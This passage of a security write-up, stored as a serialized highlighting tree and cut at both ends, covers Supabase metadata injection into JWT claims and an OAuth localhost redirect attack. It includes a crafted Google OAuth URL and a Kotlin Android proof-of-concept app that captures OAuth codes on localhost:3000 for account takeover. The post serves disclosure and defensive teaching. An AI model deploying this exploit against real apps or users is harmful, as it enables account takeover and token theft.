true",{"type":29,"value":81090},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":71,"props":81092,"children":81094},{"className":81093},[],[81095],{"type":29,"value":81096},"\"test\": \"test\"",{"type":29,"value":81098},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":32,"props":81100,"children":81101},{},[81102],{"type":23,"tag":15189,"props":81103,"children":81105},{"alt":61763,"src":81104},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":32,"props":81107,"children":81108},{},[81109],{"type":29,"value":81110},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":32,"props":81112,"children":81113},{},[81114],{"type":29,"value":81115},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":64,"props":81117,"children":81119},{"className":42559,"code":81118,"language":42561,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[81120],{"type":23,"tag":71,"props":81121,"children":81122},{"__ignoreMap":7},[81123,81148,81160,81228,81277,81325,81370,81393,81430,81446,81453],{"type":23,"tag":75,"props":81124,"children":81125},{"class":77,"line":78},[81126,81130,81135,81139,81144],{"type":23,"tag":75,"props":81127,"children":81128},{"style":82},[81129],{"type":29,"value":85},{"type":23,"tag":75,"props":81131,"children":81132},{"style":88},[81133],{"type":29,"value":81134}," parseSupaBase",{"type":23,"tag":75,"props":81136,"children":81137},{"style":94},[81138],{"type":29,"value":643},{"type":23,"tag":75,"props":81140,"children":81141},{"style":110},[81142],{"type":29,"value":81143},"token",{"type":23,"tag":75,"props":81145,"children":81146},{"style":94},[81147],{"type":29,"value":193},{"type":23,"tag":75,"props":81149,"children":81150},{"class":77,"line":100},[81151,81156],{"type":23,"tag":75,"props":81152,"children":81153},{"style":175},[81154],{"type":29,"value":81155},"    try",{"type":23,"tag":75,"props":81157,"children":81158},{"style":94},[81159],{"type":29,"value":401},{"type":23,"tag":75,"props":81161,"children":81162},{"class":77,"line":121},[81163,81167,81171,81176,81180,81185,81189,81194,81198,81202,81207,81211,81215,81219,81224],{"type":23,"tag":75,"props":81164,"children":81165},{"style":82},[81166],{"type":29,"value":44094},{"type":23,"tag":75,"props":81168,"children":81169},{"style":94},[81170],{"type":29,"value":34247},{"type":23,"tag":75,"props":81172,"children":81173},{"style":110},[81174],{"type":29,"value":81175},"header",{"type":23,"tag":75,"props":81177,"children":81178},{"style":94},[81179],{"type":29,"value":611},{"type":23,"tag":75,"props":81181,"children":81182},{"style":110},[81183],{"type":29,"value":81184},"payload",{"type":23,"tag":75,"props":81186,"children":81187},{"style":94},[81188],{"type":29,"value":611},{"type":23,"tag":75,"props":81190,"children":81191},{"style":110},[81192],{"type":29,"value":81193},"signature",{"type":23,"tag":75,"props":81195,"children":81196},{"style":94},[81197],{"type":29,"value":13463},{"type":23,"tag":75,"props":81199,"children":81200},{"style":209},[81201],{"type":29,"value":212},{"type":23,"tag":75,"props":81203,"children":81204},{"style":110},[81205],{"type":29,"value":81206}," token",{"type":23,"tag":75,"props":81208,"children":81209},{"style":94},[81210],{"type":29,"value":557},{"type":23,"tag":75,"props":81212,"children":81213},{"style":88},[81214],{"type":29,"value":12992},{"type":23,"tag":75,"props":81216,"children":81217},{"style":94},[81218],{"type":29,"value":643},{"type":23,"tag":75,"props":81220,"children":81221},{"style":1266},[81222],{"type":29,"value":81223},"'.'",{"type":23,"tag":75,"props":81225,"children":81226},{"style":94},[81227],{"type":29,"value":15099},{"type":23,"tag":75,"props":81229,"children":81230},{"class":77,"line":138},[81231,81235,81240,81244,81248,81252,81256,81260,81265,81269,81273],{"type":23,"tag":75,"props":81232,"children":81233},{"style":82},[81234],{"type":29,"value":44094},{"type":23,"tag":75,"props":81236,"children":81237},{"style":110},[81238],{"type":29,"value":81239}," decodedHeader",{"type":23,"tag":75,"props":81241,"children":81242},{"style":209},[81243],{"type":29,"value":1193},{"type":23,"tag":75,"props":81245,"children":81246},{"style":110},[81247],{"type":29,"value":48719},{"type":23,"tag":75,"props":81249,"children":81250},{"style":94},[81251],{"type":29,"value":557},{"type":23,"tag":75,"props":81253,"children":81254},{"style":88},[81255],{"type":29,"value":50401},{"type":23,"tag":75,"props":81257,"children":81258},{"style":94},[81259],{"type":29,"value":643},{"type":23,"tag":75,"props":81261,"children":81262},{"style":88},[81263],{"type":29,"value":81264},"atob",{"type":23,"tag":75,"props":81266,"children":81267},{"style":94},[81268],{"type":29,"value":643},{"type":23,"tag":75,"props":81270,"children":81271},{"style":110},[81272],{"type":29,"value":81175},{"type":23,"tag":75,"props":81274,"children":81275},{"style":94},[81276],{"type":29,"value":18485},{"type":23,"tag":75,"props":81278,"children":81279},{"class":77,"line":161},[81280,81284,81289,81293,81297,81301,81305,81309,81313,81317,81321],{"type":23,"tag":75,"props":81281,"children":81282},{"style":82},[81283],{"type":29,"value":44094},{"type":23,"tag":75,"props":81285,"children":81286},{"style":110},[81287],{"type":29,"value":81288}," decodedPayload",{"type":23,"tag":75,"props":81290,"children":81291},{"style":209},[81292],{"type":29,"value":1193},{"type":23,"tag":75,"props":81294,"children":81295},{"style":110},[81296],{"type":29,"value":48719},{"type":23,"tag":75,"props":81298,"children":81299},{"style":94},[81300],{"type":29,"value":557},{"type":23,"tag":75,"props":81302,"children":81303},{"style":88},[81304],{"type":29,"value":50401},{"type":23,"tag":75,"props":81306,"children":81307},{"style":94},[81308],{"type":29,"value":643},{"type":23,"tag":75,"props":81310,"children":81311},{"style":88},[81312],{"type":29,"value":81264},{"type":23,"tag":75,"props":81314,"children":81315},{"style":94},[81316],{"type":29,"value":643},{"type":23,"tag":75,"props":81318,"children":81319},{"style":110},[81320],{"type":29,"value":81184},{"type":23,"tag":75,"props":81322,"children":81323},{"style":94},[81324],{"type":29,"value":18485},{"type":23,"tag":75,"props":81326,"children":81327},{"class":77,"line":196},[81328,81332,81336,81341,81345,81349,81354,81358,81362,81366],{"type":23,"tag":75,"props":81329,"children":81330},{"style":175},[81331],{"type":29,"value":1388},{"type":23,"tag":75,"props":81333,"children":81334},{"style":94},[81335],{"type":29,"value":20837},{"type":23,"tag":75,"props":81337,"children":81338},{"style":110},[81339],{"type":29,"value":81340},"header:",{"type":23,"tag":75,"props":81342,"children":81343},{"style":110},[81344],{"type":29,"value":81239},{"type":23,"tag":75,"props":81346,"children":81347},{"style":94},[81348],{"type":29,"value":611},{"type":23,"tag":75,"props":81350,"children":81351},{"style":110},[81352],{"type":29,"value":81353},"payload:",{"type":23,"tag":75,"props":81355,"children":81356},{"style":110},[81357],{"type":29,"value":81288},{"type":23,"tag":75,"props":81359,"children":81360},{"style":94},[81361],{"type":29,"value":611},{"type":23,"tag":75,"props":81363,"children":81364},{"style":110},[81365],{"type":29,"value":81193},{"type":23,"tag":75,"props":81367,"children":81368},{"style":94},[81369],{"type":29,"value":29522},{"type":23,"tag":75,"props":81371,"children":81372},{"class":77,"line":220},[81373,81377,81381,81385,81389],{"type":23,"tag":75,"props":81374,"children":81375},{"style":94},[81376],{"type":29,"value":8344},{"type":23,"tag":75,"props":81378,"children":81379},{"style":175},[81380],{"type":29,"value":59602},{"type":23,"tag":75,"props":81382,"children":81383},{"style":94},[81384],{"type":29,"value":183},{"type":23,"tag":75,"props":81386,"children":81387},{"style":110},[81388],{"type":29,"value":616},{"type":23,"tag":75,"props":81390,"children":81391},{"style":94},[81392],{"type":29,"value":193},{"type":23,"tag":75,"props":81394,"children":81395},{"class":77,"line":248},[81396,81401,81405,81409,81413,81418,81422,81426],{"type":23,"tag":75,"props":81397,"children":81398},{"style":110},[81399],{"type":29,"value":81400},"        console",{"type":23,"tag":75,"props":81402,"children":81403},{"style":94},[81404],{"type":29,"value":557},{"type":23,"tag":75,"props":81406,"children":81407},{"style":88},[81408],{"type":29,"value":616},{"type":23,"tag":75,"props":81410,"children":81411},{"style":94},[81412],{"type":29,"value":643},{"type":23,"tag":75,"props":81414,"children":81415},{"style":1266},[81416],{"type":29,"value":81417},"'Error parsing token:'",{"type":23,"tag":75,"props":81419,"children":81420},{"style":94},[81421],{"type":29,"value":611},{"type":23,"tag":75,"props":81423,"children":81424},{"style":110},[81425],{"type":29,"value":616},{"type":23,"tag":75,"props":81427,"children":81428},{"style":94},[81429],{"type":29,"value":15099},{"type":23,"tag":75,"props":81431,"children":81432},{"class":77,"line":270},[81433,81437,81442],{"type":23,"tag":75,"props":81434,"children":81435},{"style":175},[81436],{"type":29,"value":1388},{"type":23,"tag":75,"props":81438,"children":81439},{"style":82},[81440],{"type":29,"value":81441}," null",{"type":23,"tag":75,"props":81443,"children":81444},{"style":94},[81445],{"type":29,"value":245},{"type":23,"tag":75,"props":81447,"children":81448},{"class":77,"line":279},[81449],{"type":23,"tag":75,"props":81450,"children":81451},{"style":94},[81452],{"type":29,"value":346},{"type":23,"tag":75,"props":81454,"children":81455},{"class":77,"line":303},[81456],{"type":23,"tag":75,"props":81457,"children":81458},{"style":94},[81459],{"type":29,"value":369},{"type":23,"tag":923,"props":81461,"children":81462},{"id":51523},[81463],{"type":29,"value":51526},{"type":23,"tag":32,"props":81465,"children":81466},{},[81467,81469,81476,81478,81484],{"type":29,"value":81468},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":940,"props":81470,"children":81473},{"href":81471,"rel":81472},"https://supabase.com/docs/guides/database/postgres/row-level-security",[944],[81474],{"type":29,"value":81475},"Row-Level Security",{"type":29,"value":81477}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":71,"props":81479,"children":81481},{"className":81480},[],[81482],{"type":29,"value":81483},"app_metadata",{"type":29,"value":81485},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":24,"props":81487,"children":81489},{"id":81488},"oauth-in-development-environments",[81490],{"type":29,"value":81491},"OAuth in development environments",{"type":23,"tag":32,"props":81493,"children":81494},{},[81495,81497,81504,81506,81511],{"type":29,"value":81496},"After watching a ",{"type":23,"tag":940,"props":81498,"children":81501},{"href":81499,"rel":81500},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[944],[81502],{"type":29,"value":81503},"talk",{"type":29,"value":81505}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":71,"props":81507,"children":81509},{"className":81508},[],[81510],{"type":29,"value":80938},{"type":29,"value":81512}," parameter during the OAuth flow.",{"type":23,"tag":32,"props":81514,"children":81515},{},[81516,81518,81525],{"type":29,"value":81517},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":940,"props":81519,"children":81522},{"href":81520,"rel":81521},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[944],[81523],{"type":29,"value":81524},"Remote Code Execution",{"type":29,"value":81526}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":32,"props":81528,"children":81529},{},[81530,81532,81538],{"type":29,"value":81531},"In one of our client's implementations, we identified that ",{"type":23,"tag":71,"props":81533,"children":81535},{"className":81534},[],[81536],{"type":29,"value":81537},"localhost:3000",{"type":29,"value":81539}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":32,"props":81541,"children":81542},{},[81543],{"type":29,"value":81544},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":64,"props":81546,"children":81550},{"className":81547,"code":81548,"language":81549,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[81551],{"type":23,"tag":71,"props":81552,"children":81553},{"__ignoreMap":7},[81554],{"type":23,"tag":75,"props":81555,"children":81556},{"class":77,"line":78},[81557],{"type":23,"tag":75,"props":81558,"children":81559},{},[81560],{"type":29,"value":81548},{"type":23,"tag":32,"props":81562,"children":81563},{},[81564],{"type":29,"value":81565},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":64,"props":81567,"children":81571},{"className":81568,"code":81569,"language":81570,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[81572],{"type":23,"tag":71,"props":81573,"children":81574},{"__ignoreMap":7},[81575,81602,81609,81641,81663,81670,81678,81700,81712,81724,81759,81785,81835,81842,81849,81856,81864,81886,81921,81934,81941,81948,81969,81995,82007,82028,82045,82057,82083,82122,82143,82151,82163,82188,82200,82213,82221,82228,82236,82243,82250,82280,82287],{"type":23,"tag":75,"props":81576,"children":81577},{"class":77,"line":78},[81578,81583,81588,81593,81598],{"type":23,"tag":75,"props":81579,"children":81580},{"style":82},[81581],{"type":29,"value":81582},"class",{"type":23,"tag":75,"props":81584,"children":81585},{"style":104},[81586],{"type":29,"value":81587}," MainActivity",{"type":23,"tag":75,"props":81589,"children":81590},{"style":94},[81591],{"type":29,"value":81592}," : ",{"type":23,"tag":75,"props":81594,"children":81595},{"style":104},[81596],{"type":29,"value":81597},"AppCompatActivity",{"type":23,"tag":75,"props":81599,"children":81600},{"style":94},[81601],{"type":29,"value":12966},{"type":23,"tag":75,"props":81603,"children":81604},{"class":77,"line":100},[81605],{"type":23,"tag":75,"props":81606,"children":81607},{"emptyLinePlaceholder":15},[81608],{"type":29,"value":276},{"type":23,"tag":75,"props":81610,"children":81611},{"class":77,"line":121},[81612,81617,81621,81626,81631,81636],{"type":23,"tag":75,"props":81613,"children":81614},{"style":82},[81615],{"type":29,"value":81616},"    override",{"type":23,"tag":75,"props":81618,"children":81619},{"style":82},[81620],{"type":29,"value":17474},{"type":23,"tag":75,"props":81622,"children":81623},{"style":88},[81624],{"type":29,"value":81625}," onCreate",{"type":23,"tag":75,"props":81627,"children":81628},{"style":94},[81629],{"type":29,"value":81630},"(savedInstanceState: ",{"type":23,"tag":75,"props":81632,"children":81633},{"style":104},[81634],{"type":29,"value":81635},"Bundle",{"type":23,"tag":75,"props":81637,"children":81638},{"style":94},[81639],{"type":29,"value":81640},"?) {\n",{"type":23,"tag":75,"props":81642,"children":81643},{"class":77,"line":138},[81644,81649,81653,81658],{"type":23,"tag":75,"props":81645,"children":81646},{"style":82},[81647],{"type":29,"value":81648},"        super",{"type":23,"tag":75,"props":81650,"children":81651},{"style":94},[81652],{"type":29,"value":557},{"type":23,"tag":75,"props":81654,"children":81655},{"style":88},[81656],{"type":29,"value":81657},"onCreate",{"type":23,"tag":75,"props":81659,"children":81660},{"style":94},[81661],{"type":29,"value":81662},"(savedInstanceState)\n",{"type":23,"tag":75,"props":81664,"children":81665},{"class":77,"line":161},[81666],{"type":23,"tag":75,"props":81667,"children":81668},{"emptyLinePlaceholder":15},[81669],{"type":29,"value":276},{"type":23,"tag":75,"props":81671,"children":81672},{"class":77,"line":196},[81673],{"type":23,"tag":75,"props":81674,"children":81675},{"style":3621},[81676],{"type":29,"value":81677},"        // Start the Ktor web server\n",{"type":23,"tag":75,"props":81679,"children":81680},{"class":77,"line":220},[81681,81686,81691,81696],{"type":23,"tag":75,"props":81682,"children":81683},{"style":88},[81684],{"type":29,"value":81685},"        CoroutineScope",{"type":23,"tag":75,"props":81687,"children":81688},{"style":94},[81689],{"type":29,"value":81690},"(Dispatchers.IO).",{"type":23,"tag":75,"props":81692,"children":81693},{"style":88},[81694],{"type":29,"value":81695},"launch",{"type":23,"tag":75,"props":81697,"children":81698},{"style":94},[81699],{"type":29,"value":401},{"type":23,"tag":75,"props":81701,"children":81702},{"class":77,"line":248},[81703,81708],{"type":23,"tag":75,"props":81704,"children":81705},{"style":175},[81706],{"type":29,"value":81707},"            try",{"type":23,"tag":75,"props":81709,"children":81710},{"style":94},[81711],{"type":29,"value":401},{"type":23,"tag":75,"props":81713,"children":81714},{"class":77,"line":270},[81715,81720],{"type":23,"tag":75,"props":81716,"children":81717},{"style":88},[81718],{"type":29,"value":81719},"                startWebServer",{"type":23,"tag":75,"props":81721,"children":81722},{"style":94},[81723],{"type":29,"value":3249},{"type":23,"tag":75,"props":81725,"children":81726},{"class":77,"line":279},[81727,81732,81737,81741,81746,81750,81755],{"type":23,"tag":75,"props":81728,"children":81729},{"style":94},[81730],{"type":29,"value":81731},"                Log.",{"type":23,"tag":75,"props":81733,"children":81734},{"style":88},[81735],{"type":29,"value":81736},"d",{"type":23,"tag":75,"props":81738,"children":81739},{"style":94},[81740],{"type":29,"value":643},{"type":23,"tag":75,"props":81742,"children":81743},{"style":1266},[81744],{"type":29,"value":81745},"\"WebServer\"",{"type":23,"tag":75,"props":81747,"children":81748},{"style":94},[81749],{"type":29,"value":611},{"type":23,"tag":75,"props":81751,"children":81752},{"style":1266},[81753],{"type":29,"value":81754},"\"Server started on http://localhost:3000\"",{"type":23,"tag":75,"props":81756,"children":81757},{"style":94},[81758],{"type":29,"value":653},{"type":23,"tag":75,"props":81760,"children":81761},{"class":77,"line":303},[81762,81767,81771,81776,81781],{"type":23,"tag":75,"props":81763,"children":81764},{"style":94},[81765],{"type":29,"value":81766},"            } ",{"type":23,"tag":75,"props":81768,"children":81769},{"style":82},[81770],{"type":29,"value":59602},{"type":23,"tag":75,"props":81772,"children":81773},{"style":94},[81774],{"type":29,"value":81775}," (e: ",{"type":23,"tag":75,"props":81777,"children":81778},{"style":104},[81779],{"type":29,"value":81780},"Exception",{"type":23,"tag":75,"props":81782,"children":81783},{"style":94},[81784],{"type":29,"value":193},{"type":23,"tag":75,"props":81786,"children":81787},{"class":77,"line":322},[81788,81792,81796,81800,81804,81808,81813,81817,81822,81826,81830],{"type":23,"tag":75,"props":81789,"children":81790},{"style":94},[81791],{"type":29,"value":81731},{"type":23,"tag":75,"props":81793,"children":81794},{"style":88},[81795],{"type":29,"value":62639},{"type":23,"tag":75,"props":81797,"children":81798},{"style":94},[81799],{"type":29,"value":643},{"type":23,"tag":75,"props":81801,"children":81802},{"style":1266},[81803],{"type":29,"value":81745},{"type":23,"tag":75,"props":81805,"children":81806},{"style":94},[81807],{"type":29,"value":611},{"type":23,"tag":75,"props":81809,"children":81810},{"style":1266},[81811],{"type":29,"value":81812},"\"Error starting server: ",{"type":23,"tag":75,"props":81814,"children":81815},{"style":82},[81816],{"type":29,"value":45302},{"type":23,"tag":75,"props":81818,"children":81819},{"style":209},[81820],{"type":29,"value":81821},"e.message",{"type":23,"tag":75,"props":81823,"children":81824},{"style":82},[81825],{"type":29,"value":45334},{"type":23,"tag":75,"props":81827,"children":81828},{"style":1266},[81829],{"type":29,"value":31282},{"type":23,"tag":75,"props":81831,"children":81832},{"style":94},[81833],{"type":29,"value":81834},", e)\n",{"type":23,"tag":75,"props":81836,"children":81837},{"class":77,"line":340},[81838],{"type":23,"tag":75,"props":81839,"children":81840},{"style":94},[81841],{"type":29,"value":5022},{"type":23,"tag":75,"props":81843,"children":81844},{"class":77,"line":349},[81845],{"type":23,"tag":75,"props":81846,"children":81847},{"style":94},[81848],{"type":29,"value":2503},{"type":23,"tag":75,"props":81850,"children":81851},{"class":77,"line":363},[81852],{"type":23,"tag":75,"props":81853,"children":81854},{"emptyLinePlaceholder":15},[81855],{"type":29,"value":276},{"type":23,"tag":75,"props":81857,"children":81858},{"class":77,"line":656},[81859],{"type":23,"tag":75,"props":81860,"children":81861},{"style":3621},[81862],{"type":29,"value":81863},"        // Open the Google OAuth page\n",{"type":23,"tag":75,"props":81865,"children":81866},{"class":77,"line":705},[81867,81872,81877,81881],{"type":23,"tag":75,"props":81868,"children":81869},{"style":82},[81870],{"type":29,"value":81871},"        val",{"type":23,"tag":75,"props":81873,"children":81874},{"style":94},[81875],{"type":29,"value":81876}," googleOAuthUrl ",{"type":23,"tag":75,"props":81878,"children":81879},{"style":209},[81880],{"type":29,"value":212},{"type":23,"tag":75,"props":81882,"children":81883},{"style":1266},[81884],{"type":29,"value":81885}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":75,"props":81887,"children":81888},{"class":77,"line":787},[81889,81893,81898,81902,81907,81912,81916],{"type":23,"tag":75,"props":81890,"children":81891},{"style":82},[81892],{"type":29,"value":81871},{"type":23,"tag":75,"props":81894,"children":81895},{"style":94},[81896],{"type":29,"value":81897}," browserIntent ",{"type":23,"tag":75,"props":81899,"children":81900},{"style":209},[81901],{"type":29,"value":212},{"type":23,"tag":75,"props":81903,"children":81904},{"style":88},[81905],{"type":29,"value":81906}," Intent",{"type":23,"tag":75,"props":81908,"children":81909},{"style":94},[81910],{"type":29,"value":81911},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":75,"props":81913,"children":81914},{"style":88},[81915],{"type":29,"value":50401},{"type":23,"tag":75,"props":81917,"children":81918},{"style":94},[81919],{"type":29,"value":81920},"(googleOAuthUrl))\n",{"type":23,"tag":75,"props":81922,"children":81923},{"class":77,"line":826},[81924,81929],{"type":23,"tag":75,"props":81925,"children":81926},{"style":88},[81927],{"type":29,"value":81928},"        startActivity",{"type":23,"tag":75,"props":81930,"children":81931},{"style":94},[81932],{"type":29,"value":81933},"(browserIntent)\n",{"type":23,"tag":75,"props":81935,"children":81936},{"class":77,"line":834},[81937],{"type":23,"tag":75,"props":81938,"children":81939},{"style":94},[81940],{"type":29,"value":346},{"type":23,"tag":75,"props":81942,"children":81943},{"class":77,"line":881},[81944],{"type":23,"tag":75,"props":81945,"children":81946},{"emptyLinePlaceholder":15},[81947],{"type":29,"value":276},{"type":23,"tag":75,"props":81949,"children":81950},{"class":77,"line":3355},[81951,81956,81960,81965],{"type":23,"tag":75,"props":81952,"children":81953},{"style":82},[81954],{"type":29,"value":81955},"    private",{"type":23,"tag":75,"props":81957,"children":81958},{"style":82},[81959],{"type":29,"value":17474},{"type":23,"tag":75,"props":81961,"children":81962},{"style":88},[81963],{"type":29,"value":81964}," startWebServer",{"type":23,"tag":75,"props":81966,"children":81967},{"style":94},[81968],{"type":29,"value":12966},{"type":23,"tag":75,"props":81970,"children":81971},{"class":77,"line":3390},[81972,81977,81982,81986,81991],{"type":23,"tag":75,"props":81973,"children":81974},{"style":88},[81975],{"type":29,"value":81976},"        embeddedServer",{"type":23,"tag":75,"props":81978,"children":81979},{"style":94},[81980],{"type":29,"value":81981},"(CIO, port ",{"type":23,"tag":75,"props":81983,"children":81984},{"style":209},[81985],{"type":29,"value":212},{"type":23,"tag":75,"props":81987,"children":81988},{"style":237},[81989],{"type":29,"value":81990}," 3000",{"type":23,"tag":75,"props":81992,"children":81993},{"style":94},[81994],{"type":29,"value":193},{"type":23,"tag":75,"props":81996,"children":81997},{"class":77,"line":3423},[81998,82003],{"type":23,"tag":75,"props":81999,"children":82000},{"style":88},[82001],{"type":29,"value":82002},"            routing",{"type":23,"tag":75,"props":82004,"children":82005},{"style":94},[82006],{"type":29,"value":401},{"type":23,"tag":75,"props":82008,"children":82009},{"class":77,"line":3436},[82010,82015,82019,82024],{"type":23,"tag":75,"props":82011,"children":82012},{"style":82},[82013],{"type":29,"value":82014},"                get",{"type":23,"tag":75,"props":82016,"children":82017},{"style":94},[82018],{"type":29,"value":643},{"type":23,"tag":75,"props":82020,"children":82021},{"style":1266},[82022],{"type":29,"value":82023},"\"{...}\"",{"type":23,"tag":75,"props":82025,"children":82026},{"style":94},[82027],{"type":29,"value":193},{"type":23,"tag":75,"props":82029,"children":82030},{"class":77,"line":3449},[82031,82036,82041],{"type":23,"tag":75,"props":82032,"children":82033},{"style":94},[82034],{"type":29,"value":82035},"                    call.",{"type":23,"tag":75,"props":82037,"children":82038},{"style":88},[82039],{"type":29,"value":82040},"respondHtml",{"type":23,"tag":75,"props":82042,"children":82043},{"style":94},[82044],{"type":29,"value":401},{"type":23,"tag":75,"props":82046,"children":82047},{"class":77,"line":3457},[82048,82053],{"type":23,"tag":75,"props":82049,"children":82050},{"style":88},[82051],{"type":29,"value":82052},"                        head",{"type":23,"tag":75,"props":82054,"children":82055},{"style":94},[82056],{"type":29,"value":401},{"type":23,"tag":75,"props":82058,"children":82059},{"class":77,"line":3465},[82060,82065,82070,82074,82079],{"type":23,"tag":75,"props":82061,"children":82062},{"style":88},[82063],{"type":29,"value":82064},"                            meta",{"type":23,"tag":75,"props":82066,"children":82067},{"style":94},[82068],{"type":29,"value":82069},"(charset ",{"type":23,"tag":75,"props":82071,"children":82072},{"style":209},[82073],{"type":29,"value":212},{"type":23,"tag":75,"props":82075,"children":82076},{"style":1266},[82077],{"type":29,"value":82078}," \"UTF-8\"",{"type":23,"tag":75,"props":82080,"children":82081},{"style":94},[82082],{"type":29,"value":653},{"type":23,"tag":75,"props":82084,"children":82085},{"class":77,"line":3473},[82086,82090,82095,82099,82104,82109,82113,82118],{"type":23,"tag":75,"props":82087,"children":82088},{"style":88},[82089],{"type":29,"value":82064},{"type":23,"tag":75,"props":82091,"children":82092},{"style":94},[82093],{"type":29,"value":82094},"(name ",{"type":23,"tag":75,"props":82096,"children":82097},{"style":209},[82098],{"type":29,"value":212},{"type":23,"tag":75,"props":82100,"children":82101},{"style":1266},[82102],{"type":29,"value":82103}," \"viewport\"",{"type":23,"tag":75,"props":82105,"children":82106},{"style":94},[82107],{"type":29,"value":82108},", content ",{"type":23,"tag":75,"props":82110,"children":82111},{"style":209},[82112],{"type":29,"value":212},{"type":23,"tag":75,"props":82114,"children":82115},{"style":1266},[82116],{"type":29,"value":82117}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":75,"props":82119,"children":82120},{"style":94},[82121],{"type":29,"value":653},{"type":23,"tag":75,"props":82123,"children":82124},{"class":77,"line":3481},[82125,82130,82134,82139],{"type":23,"tag":75,"props":82126,"children":82127},{"style":88},[82128],{"type":29,"value":82129},"                            title",{"type":23,"tag":75,"props":82131,"children":82132},{"style":94},[82133],{"type":29,"value":643},{"type":23,"tag":75,"props":82135,"children":82136},{"style":1266},[82137],{"type":29,"value":82138},"\"OAuth Redirect\"",{"type":23,"tag":75,"props":82140,"children":82141},{"style":94},[82142],{"type":29,"value":653},{"type":23,"tag":75,"props":82144,"children":82145},{"class":77,"line":3524},[82146],{"type":23,"tag":75,"props":82147,"children":82148},{"style":94},[82149],{"type":29,"value":82150},"                        }\n",{"type":23,"tag":75,"props":82152,"children":82153},{"class":77,"line":4890},[82154,82159],{"type":23,"tag":75,"props":82155,"children":82156},{"style":88},[82157],{"type":29,"value":82158},"                        body",{"type":23,"tag":75,"props":82160,"children":82161},{"style":94},[82162],{"type":29,"value":401},{"type":23,"tag":75,"props":82164,"children":82165},{"class":77,"line":4937},[82166,82171,82175,82179,82184],{"type":23,"tag":75,"props":82167,"children":82168},{"style":88},[82169],{"type":29,"value":82170},"                            